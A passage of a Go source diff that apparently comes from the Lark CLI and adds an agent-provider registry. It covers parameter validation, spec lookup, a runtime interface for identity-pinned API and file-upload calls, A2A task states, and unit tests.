// interpolation whitelist ([A-Za-z0-9_-]), so a declared name is safe to
|
||||
// splice into a suggested command by construction, and snake→kebab mapping
|
||||
// stays bijective for a future native-flag projection.
|
||||
var paramNameRe = regexp.MustCompile(`^[a-z][a-z0-9_]{0,63}$`)
|
||||
|
||||
// paramTypes is the closed Type vocabulary (empty normalizes to "string").
|
||||
// "object" is declaration-only: it carries Fields and no value constraints of
|
||||
// its own.
|
||||
var paramTypes = map[string]bool{"string": true, "integer": true, "number": true, "boolean": true, "object": true}
|
||||
|
||||
// checkParams fail-fast validates one operation's parameter declarations
|
||||
// (where names the operation for the panic message). Object params recurse one
|
||||
// level into their Fields (scalar leaves only).
|
||||
func checkParams(where string, params []CardParam) {
|
||||
checkParamsLevel(where, params, true)
|
||||
}
|
||||
|
||||
func checkParamsLevel(where string, params []CardParam, allowObject bool) {
|
||||
seen := make(map[string]bool, len(params))
|
||||
for _, cp := range params {
|
||||
at := where + " param " + cp.Name
|
||||
if !paramNameRe.MatchString(cp.Name) {
|
||||
panic("agent: param name must match ^[a-z][a-z0-9_]{0,63}$: " + at)
|
||||
}
|
||||
if seen[cp.Name] {
|
||||
panic("agent: duplicate param name within one operation: " + at)
|
||||
}
|
||||
seen[cp.Name] = true
|
||||
|
||||
typ := cp.Type
|
||||
if typ == "" {
|
||||
typ = "string"
|
||||
}
|
||||
if typ == "object" {
|
||||
if !allowObject {
|
||||
panic("agent: nested object fields are not supported (flatten or wait for the schema slot): " + at)
|
||||
}
|
||||
if len(cp.Fields) == 0 {
|
||||
panic("agent: object param must declare non-empty Fields: " + at)
|
||||
}
|
||||
// An object declares nothing but its Fields: requiredness/constraints
|
||||
// live on the leaves, so a stray setting here is a coding error.
|
||||
if cp.Required || len(cp.Enum) > 0 || cp.Default != "" || cp.Min != nil || cp.Max != nil {
|
||||
panic("agent: object param must not set Required/Enum/Default/Min/Max (declare them on leaves): " + at)
|
||||
}
|
||||
checkParamsLevel(at, cp.Fields, false)
|
||||
continue
|
||||
}
|
||||
if len(cp.Fields) > 0 {
|
||||
panic("agent: Fields is only valid on Type \"object\": " + at)
|
||||
}
|
||||
if !paramTypes[typ] {
|
||||
panic("agent: param Type must be one of string|integer|number|boolean: " + at + ", got: " + cp.Type)
|
||||
}
|
||||
if len(cp.Enum) > 0 {
|
||||
if typ != "string" && typ != "integer" {
|
||||
panic("agent: Enum is only valid on string|integer params: " + at)
|
||||
}
|
||||
if cp.Min != nil || cp.Max != nil {
|
||||
panic("agent: Enum and Min/Max are mutually exclusive: " + at)
|
||||
}
|
||||
ev := make(map[string]bool, len(cp.Enum))
|
||||
for _, e := range cp.Enum {
|
||||
if e == "" {
|
||||
panic("agent: Enum member must be non-empty: " + at)
|
||||
}
|
||||
if ev[e] {
|
||||
panic("agent: duplicate Enum member: " + at + ", member: " + e)
|
||||
}
|
||||
ev[e] = true
|
||||
if typ == "integer" {
|
||||
if _, err := strconv.ParseInt(e, 10, 64); err != nil {
|
||||
panic("agent: integer Enum member must parse as integer: " + at + ", member: " + e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if cp.Min != nil || cp.Max != nil {
|
||||
if typ != "integer" && typ != "number" {
|
||||
panic("agent: Min/Max are only valid on integer|number params: " + at)
|
||||
}
|
||||
if cp.Min != nil && cp.Max != nil && *cp.Min > *cp.Max {
|
||||
panic("agent: Min must be <= Max: " + at)
|
||||
}
|
||||
}
|
||||
if cp.Default != "" {
|
||||
if cp.Required {
|
||||
panic("agent: Default and Required are mutually exclusive: " + at)
|
||||
}
|
||||
if err := ValidateValue(cp, cp.Default); err != nil {
|
||||
panic("agent: Default violates the param's own declaration: " + at + ": " + err.Error())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateValue validates one value against a declaration's Type/Enum/Min/Max
|
||||
// (shared by Register's Default check and the command layer's per-call
|
||||
// validation).
|
||||
func ValidateValue(cp CardParam, val string) error {
|
||||
typ := cp.Type
|
||||
if typ == "" {
|
||||
typ = "string"
|
||||
}
|
||||
switch typ {
|
||||
case "integer":
|
||||
n, err := strconv.ParseInt(val, 10, 64)
|
||||
if err != nil {
|
||||
// 超出 int64 是"范围"问题不是"类型"问题——消息必须与事实一致,
|
||||
// 否则调用方会误改类型而不是改数值。
|
||||
if errors.Is(err, strconv.ErrRange) {
|
||||
if cp.Min != nil || cp.Max != nil {
|
||||
return fmt.Errorf("须在 %s 范围内,得到 %s", rangeText(cp), val)
|
||||
}
|
||||
return fmt.Errorf("超出 integer 可表示范围(int64),得到 %q", val)
|
||||
}
|
||||
return fmt.Errorf("需为 integer,得到 %q", val)
|
||||
}
|
||||
if cp.Min != nil && float64(n) < *cp.Min {
|
||||
return fmt.Errorf("须在 %s 范围内,得到 %s", rangeText(cp), val)
|
||||
}
|
||||
if cp.Max != nil && float64(n) > *cp.Max {
|
||||
return fmt.Errorf("须在 %s 范围内,得到 %s", rangeText(cp), val)
|
||||
}
|
||||
case "number":
|
||||
f, err := strconv.ParseFloat(val, 64)
|
||||
if err != nil {
|
||||
return fmt.Errorf("需为 number,得到 %q", val)
|
||||
}
|
||||
if math.IsNaN(f) || math.IsInf(f, 0) {
|
||||
return fmt.Errorf("需为有限 number,得到 %q", val)
|
||||
}
|
||||
if cp.Min != nil && f < *cp.Min {
|
||||
return fmt.Errorf("须在 %s 范围内,得到 %s", rangeText(cp), val)
|
||||
}
|
||||
if cp.Max != nil && f > *cp.Max {
|
||||
return fmt.Errorf("须在 %s 范围内,得到 %s", rangeText(cp), val)
|
||||
}
|
||||
case "boolean":
|
||||
if _, err := strconv.ParseBool(val); err != nil {
|
||||
return fmt.Errorf("需为 boolean,得到 %q", val)
|
||||
}
|
||||
}
|
||||
if len(cp.Enum) > 0 {
|
||||
for _, e := range cp.Enum {
|
||||
if val == e {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("取值须为 %s,得到 %q", strings.Join(cp.Enum, "|"), val)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// rangeText renders a Min/Max declaration for error messages ("1..100",
|
||||
// ">=1", "<=100").
|
||||
func rangeText(cp CardParam) string {
|
||||
switch {
|
||||
case cp.Min != nil && cp.Max != nil:
|
||||
return trimFloat(*cp.Min) + ".." + trimFloat(*cp.Max)
|
||||
case cp.Min != nil:
|
||||
return ">=" + trimFloat(*cp.Min)
|
||||
default:
|
||||
return "<=" + trimFloat(*cp.Max)
|
||||
}
|
||||
}
|
||||
|
||||
func trimFloat(f float64) string { return strconv.FormatFloat(f, 'f', -1, 64) }
|
||||
|
||||
// normalizeSpecParams normalizes declarations in place after validation
|
||||
// (currently: empty Type ⇒ "string"), so every downstream consumer reads a
|
||||
// canonical form.
|
||||
func normalizeSpecParams(s *AgentSpec) {
|
||||
var normalize func(ps []CardParam)
|
||||
normalize = func(ps []CardParam) {
|
||||
for i := range ps {
|
||||
if ps[i].Type == "" {
|
||||
ps[i].Type = "string"
|
||||
}
|
||||
normalize(ps[i].Fields)
|
||||
}
|
||||
}
|
||||
normalize(s.Send.Params)
|
||||
normalize(s.GetTask.Params)
|
||||
normalize(s.ListTasks.Params)
|
||||
normalize(s.CancelTask.Params)
|
||||
normalize(s.ListContexts.Params)
|
||||
normalize(s.GetContext.Params)
|
||||
normalize(s.DeleteContext.Params)
|
||||
normalize(s.DownloadArtifact.Params)
|
||||
}
|
||||
|
||||
// Info returns the registered provider for a scheme (ok=false if not registered).
|
||||
func Info(scheme string) (Provider, bool) {
|
||||
p, ok := providerRegistry[scheme]
|
||||
return p, ok
|
||||
}
|
||||
|
||||
// LookupSpec resolves the AgentSpec addressed by ref, fully offline: it parses
|
||||
// the ref, finds the provider, and returns the matching spec (the instance
|
||||
// template, or the catalog entry whose ID matches) plus the parsed agent_id (so
|
||||
// callers need not re-parse for rt.AgentID() / the card). An unknown scheme or
|
||||
// unknown catalog id returns a typed error (the command layer promotes
|
||||
// ParseRef/scheme errors via wrapRefResolveError; the unknown-id error is
|
||||
// already typed).
|
||||
func LookupSpec(ref string) (Provider, *AgentSpec, string, error) {
|
||||
r, err := ParseRef(ref)
|
||||
if err != nil {
|
||||
return Provider{}, nil, "", err
|
||||
}
|
||||
p, ok := providerRegistry[r.Scheme]
|
||||
if !ok {
|
||||
return Provider{}, nil, "", fmt.Errorf("未知的 agent provider '%s',当前支持: %s", r.Scheme, KnownSchemes())
|
||||
}
|
||||
if p.Instance != nil {
|
||||
return p, p.Instance, r.AgentID, nil
|
||||
}
|
||||
for i := range p.Catalog {
|
||||
if p.Catalog[i].ID == r.AgentID {
|
||||
return p, &p.Catalog[i], r.AgentID, nil
|
||||
}
|
||||
}
|
||||
return p, nil, "", errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 %s agent '%s'", r.Scheme, r.AgentID).
|
||||
WithHint("运行 lark-cli agents list %s 查看可用 agent", r.Scheme)
|
||||
}
|
||||
|
||||
// Kind reports the provider form derived from Catalog vs Instance.
|
||||
func (p Provider) Kind() ProviderKind {
|
||||
if p.Instance != nil {
|
||||
return KindInstance
|
||||
}
|
||||
return KindCatalog
|
||||
}
|
||||
|
||||
// AgentRefFormat is the written form of an agent_ref for this provider, always
|
||||
// "<scheme>:<agent_id>" (derived, not stored).
|
||||
func (p Provider) AgentRefFormat() string {
|
||||
return p.Scheme + ":<agent_id>"
|
||||
}
|
||||
|
||||
// ListCatalog is the offline enumeration for a catalog provider (sorted by
|
||||
// AgentRef, stable), filtered to the agents visible under `brand`
|
||||
// (SpecAvailableForBrand). An instance provider has no static set and returns
|
||||
// nil — the command layer then falls back to the optional ListAgents online hook.
|
||||
func (p Provider) ListCatalog(brand core.LarkBrand) []AgentSummary {
|
||||
if p.Instance != nil {
|
||||
return nil
|
||||
}
|
||||
out := make([]AgentSummary, 0, len(p.Catalog))
|
||||
for _, s := range p.Catalog {
|
||||
if !SpecAvailableForBrand(&s, brand) {
|
||||
continue
|
||||
}
|
||||
out = append(out, AgentSummary{
|
||||
AgentRef: p.Scheme + ":" + s.ID,
|
||||
Name: s.Name,
|
||||
Description: s.Description,
|
||||
})
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
|
||||
return out
|
||||
}
|
||||
|
||||
// KnownSchemes returns a comma-separated list of registered schemes (stably
|
||||
// sorted), or "(none)" when empty (reused by cmd/agent's unknown-scheme message).
|
||||
func KnownSchemes() string {
|
||||
s := RegisteredSchemes()
|
||||
if len(s) == 0 {
|
||||
return "(none)"
|
||||
}
|
||||
return strings.Join(s, ", ")
|
||||
}
|
||||
|
||||
// RegisteredSchemes lets `agents list` enumerate registered providers (sorted).
|
||||
func RegisteredSchemes() []string {
|
||||
s := make([]string, 0, len(providerRegistry))
|
||||
for k := range providerRegistry {
|
||||
s = append(s, k)
|
||||
}
|
||||
sort.Strings(s)
|
||||
return s
|
||||
}
|
||||
244
internal/agents/registry_test.go
Normal file
244
internal/agents/registry_test.go
Normal file
@@ -0,0 +1,244 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// swapRegistry replaces the global providerRegistry with the given map (restored
|
||||
// via t.Cleanup), for isolation. It swaps without a lock, so no t.Parallel.
|
||||
func swapRegistry(t *testing.T, m map[string]Provider) {
|
||||
t.Helper()
|
||||
saved := providerRegistry
|
||||
providerRegistry = m
|
||||
t.Cleanup(func() { providerRegistry = saved })
|
||||
}
|
||||
|
||||
// coreSpec is a minimal valid spec: it wires the two mandatory core hooks so it
|
||||
// passes Register's checkSpec. Callers set extra hooks / ID on the returned value.
|
||||
func coreSpec(id string) AgentSpec {
|
||||
return AgentSpec{
|
||||
ID: id,
|
||||
Send: SendOp{Handler: func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil }},
|
||||
GetTask: TaskGetOp{Handler: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil }},
|
||||
}
|
||||
}
|
||||
|
||||
// instanceProvider builds a minimal valid instance Provider for scheme.
|
||||
func instanceProvider(scheme string) Provider {
|
||||
s := coreSpec("")
|
||||
return Provider{
|
||||
Scheme: scheme,
|
||||
Label: "test provider",
|
||||
AgentIDSource: "test source",
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
Instance: &s,
|
||||
}
|
||||
}
|
||||
|
||||
// catalogProvider builds a minimal valid catalog Provider for scheme with the
|
||||
// given entry ids.
|
||||
func catalogProvider(scheme string, ids ...string) Provider {
|
||||
specs := make([]AgentSpec, 0, len(ids))
|
||||
for _, id := range ids {
|
||||
s := coreSpec(id)
|
||||
s.Name = "name-" + id
|
||||
specs = append(specs, s)
|
||||
}
|
||||
return Provider{
|
||||
Scheme: scheme,
|
||||
Label: "test provider",
|
||||
AgentIDSource: "test source",
|
||||
Identities: []IdentitySpec{{Type: IdentityUser}},
|
||||
Catalog: specs,
|
||||
}
|
||||
}
|
||||
|
||||
// mustPanic asserts that fn panics and the message contains wantMsg.
|
||||
func mustPanic(t *testing.T, wantMsg string, fn func()) {
|
||||
t.Helper()
|
||||
defer func() {
|
||||
r := recover()
|
||||
if r == nil {
|
||||
t.Fatalf("should panic (want message containing %q)", wantMsg)
|
||||
}
|
||||
msg, _ := r.(string)
|
||||
if !strings.Contains(msg, wantMsg) {
|
||||
t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
|
||||
}
|
||||
}()
|
||||
fn()
|
||||
}
|
||||
|
||||
// TestRegisterPanicBranches table-drives the Register fail-fast branches.
|
||||
func TestRegisterPanicBranches(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
mutate func(p *Provider)
|
||||
wantMsg string
|
||||
}{
|
||||
{"empty Scheme", func(p *Provider) { p.Scheme = "" }, "empty Scheme"},
|
||||
{"missing Label", func(p *Provider) { p.Label = "" }, "missing Label"},
|
||||
{"missing AgentIDSource", func(p *Provider) { p.AgentIDSource = "" }, "missing AgentIDSource"},
|
||||
{"missing Identities", func(p *Provider) { p.Identities = nil }, "missing Identities"},
|
||||
{"invalid Identity Type", func(p *Provider) { p.Identities = []IdentitySpec{{Type: "robot"}} }, "got: robot"},
|
||||
{"neither Catalog nor Instance", func(p *Provider) { p.Instance = nil }, "exactly one of Catalog / Instance"},
|
||||
{"both Catalog and Instance", func(p *Provider) { p.Catalog = catalogProvider("x", "a").Catalog }, "exactly one of Catalog / Instance"},
|
||||
{"instance template with ID", func(p *Provider) { p.Instance.ID = "oops" }, "instance template must have empty ID"},
|
||||
{"missing core Send", func(p *Provider) { p.Instance.Send = SendOp{} }, "missing core Send"},
|
||||
{"missing core GetTask", func(p *Provider) { p.Instance.GetTask = TaskGetOp{} }, "missing core GetTask"},
|
||||
{"InputRequired without CancelTask", func(p *Provider) { p.Instance.InputRequired = true }, "wires no CancelTask"},
|
||||
{"InputRequired with narrower CancelTask brands", func(p *Provider) {
|
||||
p.Instance.InputRequired = true
|
||||
p.Instance.CancelTask = TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu},
|
||||
Handler: func(context.Context, Runtime, string) error { return nil }}
|
||||
}, "brand-scoped narrower"},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
p := instanceProvider("bad")
|
||||
tc.mutate(&p)
|
||||
mustPanic(t, tc.wantMsg, func() { Register(p) })
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestRegisterCatalogIDPanics pins the catalog-specific ID rules.
|
||||
func TestRegisterCatalogIDPanics(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
missingID := catalogProvider("cat", "")
|
||||
mustPanic(t, "catalog spec missing ID", func() { Register(missingID) })
|
||||
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
dup := catalogProvider("cat", "a", "a")
|
||||
mustPanic(t, "duplicate entry ID", func() { Register(dup) })
|
||||
}
|
||||
|
||||
func TestRegisterDuplicateScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
Register(instanceProvider("dup"))
|
||||
mustPanic(t, "called twice for scheme: dup", func() { Register(instanceProvider("dup")) })
|
||||
}
|
||||
|
||||
func TestInfoReturnsRegisteredProvider(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
p := instanceProvider("t1")
|
||||
p.RequiredScopes = []string{"t1:chat:write"}
|
||||
Register(p)
|
||||
got, ok := Info("t1")
|
||||
if !ok || got.Label != "test provider" || got.Kind() != KindInstance {
|
||||
t.Fatalf("Info(t1) = %+v, %v", got, ok)
|
||||
}
|
||||
if _, ok := Info("nonexistent"); ok {
|
||||
t.Fatal("Info(nonexistent) should return ok=false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestKindAndAgentRefFormat(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
inst := instanceProvider("inst")
|
||||
cat := catalogProvider("cat", "a")
|
||||
if inst.Kind() != KindInstance {
|
||||
t.Errorf("instance provider Kind should be instance, got %q", inst.Kind())
|
||||
}
|
||||
if cat.Kind() != KindCatalog {
|
||||
t.Errorf("catalog provider Kind should be catalog, got %q", cat.Kind())
|
||||
}
|
||||
if got := inst.AgentRefFormat(); got != "inst:<agent_id>" {
|
||||
t.Errorf("AgentRefFormat should be inst:<agent_id>, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListCatalog(t *testing.T) {
|
||||
// Catalog: sorted by AgentRef, stable, instance returns nil.
|
||||
cat := catalogProvider("cat", "zeta", "alpha")
|
||||
got := cat.ListCatalog(core.BrandFeishu)
|
||||
if len(got) != 2 || got[0].AgentRef != "cat:alpha" || got[1].AgentRef != "cat:zeta" {
|
||||
t.Fatalf("ListCatalog should be sorted by AgentRef, got %+v", got)
|
||||
}
|
||||
if instanceProvider("inst").ListCatalog(core.BrandFeishu) != nil {
|
||||
t.Error("instance ListCatalog should be nil")
|
||||
}
|
||||
}
|
||||
|
||||
func TestKnownSchemesEmpty(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
if got := KnownSchemes(); got != "(none)" {
|
||||
t.Fatalf("an empty registry should return \"(none)\", got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisteredSchemesSorted(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
Register(instanceProvider("gamma"))
|
||||
Register(instanceProvider("alpha"))
|
||||
Register(instanceProvider("beta"))
|
||||
got := RegisteredSchemes()
|
||||
want := []string{"alpha", "beta", "gamma"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
|
||||
}
|
||||
if s := KnownSchemes(); s != "alpha, beta, gamma" {
|
||||
t.Fatalf("knownSchemes should be comma-joined, got %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupSpecInvalidRef(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
_, _, _, err := LookupSpec("no-colon")
|
||||
if !errors.Is(err, ErrInvalidRef) {
|
||||
t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupSpecUnknownScheme(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
_, _, _, err := LookupSpec("nosuch:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("an unregistered scheme should return an error")
|
||||
}
|
||||
if errors.Is(err, ErrInvalidRef) {
|
||||
t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupSpecInstance(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
Register(instanceProvider("demo"))
|
||||
prov, spec, agentID, err := LookupSpec("demo:agt_42")
|
||||
if err != nil {
|
||||
t.Fatalf("a valid instance ref should succeed, got %v", err)
|
||||
}
|
||||
if prov.Scheme != "demo" || spec == nil || spec.Send.Handler == nil {
|
||||
t.Fatalf("should return the instance template, got prov=%+v spec=%v", prov, spec)
|
||||
}
|
||||
if agentID != "agt_42" {
|
||||
t.Fatalf("should echo the parsed agentID, got %q", agentID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupSpecCatalog(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
Register(catalogProvider("cat", "alpha", "beta"))
|
||||
_, spec, agentID, err := LookupSpec("cat:beta")
|
||||
if err != nil {
|
||||
t.Fatalf("a known catalog id should succeed, got %v", err)
|
||||
}
|
||||
if spec == nil || spec.ID != "beta" || agentID != "beta" {
|
||||
t.Fatalf("should return the matching catalog entry, got %+v (id %q)", spec, agentID)
|
||||
}
|
||||
// Unknown id → typed validation error.
|
||||
_, _, _, err = LookupSpec("cat:nope")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown catalog id should return an error")
|
||||
}
|
||||
}
|
||||
109
internal/agents/runtime.go
Normal file
109
internal/agents/runtime.go
Normal file
@@ -0,0 +1,109 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
)
|
||||
|
||||
// Runtime is the only thing a verb hook touches for I/O. It is the agent
|
||||
// analogue of the event/shortcut runtime: the framework has already resolved and
|
||||
// PINNED the calling identity (user|bot) inside it, so a hook never sees a raw
|
||||
// *client.APIClient, never resolves a token, and cannot bypass scope preflight.
|
||||
// The concrete implementation lives in cmd/agent (like event's consumeRuntime in
|
||||
// cmd/event), which is why internal/agent no longer needs to depend on
|
||||
// internal/client — the sole reason the old Deps struct existed.
|
||||
type Runtime interface {
|
||||
// AgentID is the agent this call addresses (parsed from the ref by the
|
||||
// framework). A catalog hook may ignore it; an instance template reads it to
|
||||
// know which runtime agent it serves. Request data, not plumbing.
|
||||
AgentID() string
|
||||
|
||||
// IsBot reports the resolved identity kind for the rare hook that must branch
|
||||
// on it. Identity resolution itself stays hidden.
|
||||
IsBot() bool
|
||||
|
||||
// Params returns this call's validated business parameters (a copy — a hook
|
||||
// cannot corrupt framework state). Contract, guaranteed on every verb
|
||||
// command path BEFORE a handler runs: the current operation's Required keys
|
||||
// are present and non-empty; keys with a Default are present (backfilled);
|
||||
// every value passed Type/Enum/Min-Max validation — handlers read directly,
|
||||
// no re-validation, no nil-checking. The card Describe path and a ListAgents
|
||||
// call without ListParams declarations see an empty map. Prefer the typed
|
||||
// accessors (BindParams[T] / ParamInt / ParamBool) over raw map lookups.
|
||||
Params() map[string]string
|
||||
|
||||
// CallAPI issues one JSON OAPI request under the pinned identity and returns
|
||||
// the raw "data" object (the response envelope's data field, already unwrapped
|
||||
// and error-checked) or a typed errs.* error — a hook never does envelope
|
||||
// unwrapping, identity threading, or error classification. Hooks do not use
|
||||
// this directly; they call the typed Call[T] helper below, which decodes the
|
||||
// raw bytes into a struct. query values are strings (page_token, *_id_type, …).
|
||||
CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error)
|
||||
|
||||
// CallMultipart is the file-upload seam: it reproduces the multipart form
|
||||
// upload a real provider would otherwise hand-write (larkcore.NewFormdata +
|
||||
// WithFileUpload), but centralized and identity-opaque. The framework
|
||||
// SafeInputPath-validates and opens each FilePart.Path, builds the multipart
|
||||
// body, pins the identity, and returns the raw "data" object (decode it with
|
||||
// the typed CallUpload[T] helper below). This is what makes the FileInput
|
||||
// capability actually deliverable — without it a provider declaring
|
||||
// FileInput=true but with only a JSON client would silently drop SendInput.Files.
|
||||
CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []FilePart) (json.RawMessage, error)
|
||||
}
|
||||
|
||||
// Call issues a JSON OAPI request under rt's pinned identity and decodes the
|
||||
// response "data" object into T. This is the typed entry point a verb hook uses
|
||||
// instead of poking at a map[string]any: declare the response struct you expect
|
||||
// and let the framework unmarshal and classify errors. For a genuinely dynamic
|
||||
// shape, use Call[map[string]any]. A response with no "data" (e.g. a pure write)
|
||||
// yields the zero value of T and a nil error.
|
||||
//
|
||||
// type chat struct{ SessionID, AgentChatID string }
|
||||
// c, err := agent.Call[chat](ctx, rt, "POST", path, nil, body)
|
||||
func Call[T any](ctx context.Context, rt Runtime, method, path string, query map[string]string, body any) (T, error) {
|
||||
raw, err := rt.CallAPI(ctx, method, path, query, body)
|
||||
if err != nil {
|
||||
var zero T
|
||||
return zero, err
|
||||
}
|
||||
return decodeData[T](method, path, raw)
|
||||
}
|
||||
|
||||
// CallUpload is the multipart (file-upload) variant of Call: it uploads files
|
||||
// and decodes the response "data" object into T.
|
||||
func CallUpload[T any](ctx context.Context, rt Runtime, method, path string, fields map[string]string, files []FilePart) (T, error) {
|
||||
raw, err := rt.CallMultipart(ctx, method, path, fields, files)
|
||||
if err != nil {
|
||||
var zero T
|
||||
return zero, err
|
||||
}
|
||||
return decodeData[T](method, path, raw)
|
||||
}
|
||||
|
||||
// decodeData unmarshals a raw "data" object into T, classifying a decode failure
|
||||
// as a typed invalid_response error (consistent with the runtime's own error
|
||||
// handling). Empty raw ⇒ zero value, nil error.
|
||||
func decodeData[T any](method, path string, raw json.RawMessage) (T, error) {
|
||||
var out T
|
||||
if len(raw) == 0 {
|
||||
return out, nil
|
||||
}
|
||||
if err := json.Unmarshal(raw, &out); err != nil {
|
||||
return out, errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"decode data for %s %s: %v", method, path, err).WithCause(err)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// FilePart is one file to upload. Path comes straight from SendInput.Files and is
|
||||
// SafeInputPath-validated by the runtime (the security check stays framework-
|
||||
// owned, not re-implemented per provider).
|
||||
type FilePart struct {
|
||||
Field string // multipart field name, e.g. "file"
|
||||
Path string // local path (framework validates + opens)
|
||||
}
|
||||
26
internal/agents/spi.go
Normal file
26
internal/agents/spi.go
Normal file
@@ -0,0 +1,26 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
// IdentityType is the closed set of values for IdentitySpec.Type (validated at
|
||||
// Register time to guard against typos).
|
||||
type IdentityType string
|
||||
|
||||
const (
|
||||
IdentityUser IdentityType = "user"
|
||||
IdentityBot IdentityType = "bot"
|
||||
)
|
||||
|
||||
// IdentitySpec declares a supported identity and its precondition, if any.
|
||||
type IdentitySpec struct {
|
||||
Type IdentityType `json:"type"` // IdentityUser | IdentityBot
|
||||
Precondition string `json:"precondition,omitempty"`
|
||||
}
|
||||
|
||||
// AgentSummary is one discoverable agent in `agents list <scheme>` output.
|
||||
type AgentSummary struct {
|
||||
AgentRef string `json:"agent_ref"`
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description,omitempty"`
|
||||
}
|
||||
35
internal/agents/state.go
Normal file
35
internal/agents/state.go
Normal file
@@ -0,0 +1,35 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
// TaskState is the A2A task state, constant across all providers (9 states).
|
||||
type TaskState string
|
||||
|
||||
const (
|
||||
StateSubmitted TaskState = "submitted"
|
||||
StateWorking TaskState = "working"
|
||||
StateInputRequired TaskState = "input_required"
|
||||
StateAuthRequired TaskState = "auth_required"
|
||||
StateCompleted TaskState = "completed"
|
||||
StateFailed TaskState = "failed"
|
||||
StateCanceled TaskState = "canceled"
|
||||
StateRejected TaskState = "rejected"
|
||||
StateUnknown TaskState = "unknown"
|
||||
)
|
||||
|
||||
// IsTerminal reports whether the task has entered a terminal state.
|
||||
func (s TaskState) IsTerminal() bool {
|
||||
switch s {
|
||||
case StateCompleted, StateFailed, StateCanceled, StateRejected:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// ShouldStopPolling reports whether polling should stop: terminal state, or
|
||||
// awaiting additional input / re-authentication.
|
||||
func (s TaskState) ShouldStopPolling() bool {
|
||||
return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
|
||||
}
|
||||
34
internal/agents/state_test.go
Normal file
34
internal/agents/state_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestIsTerminal(t *testing.T) {
|
||||
cases := map[TaskState]bool{
|
||||
StateSubmitted: false, StateWorking: false, StateInputRequired: false,
|
||||
StateAuthRequired: false, StateCompleted: true, StateFailed: true,
|
||||
StateCanceled: true, StateRejected: true, StateUnknown: false,
|
||||
}
|
||||
for s, want := range cases {
|
||||
if got := s.IsTerminal(); got != want {
|
||||
t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldStopPolling(t *testing.T) {
|
||||
stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
|
||||
cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
|
||||
for _, s := range stop {
|
||||
if !s.ShouldStopPolling() {
|
||||
t.Errorf("%s should stop polling", s)
|
||||
}
|
||||
}
|
||||
for _, s := range cont {
|
||||
if s.ShouldStopPolling() {
|
||||
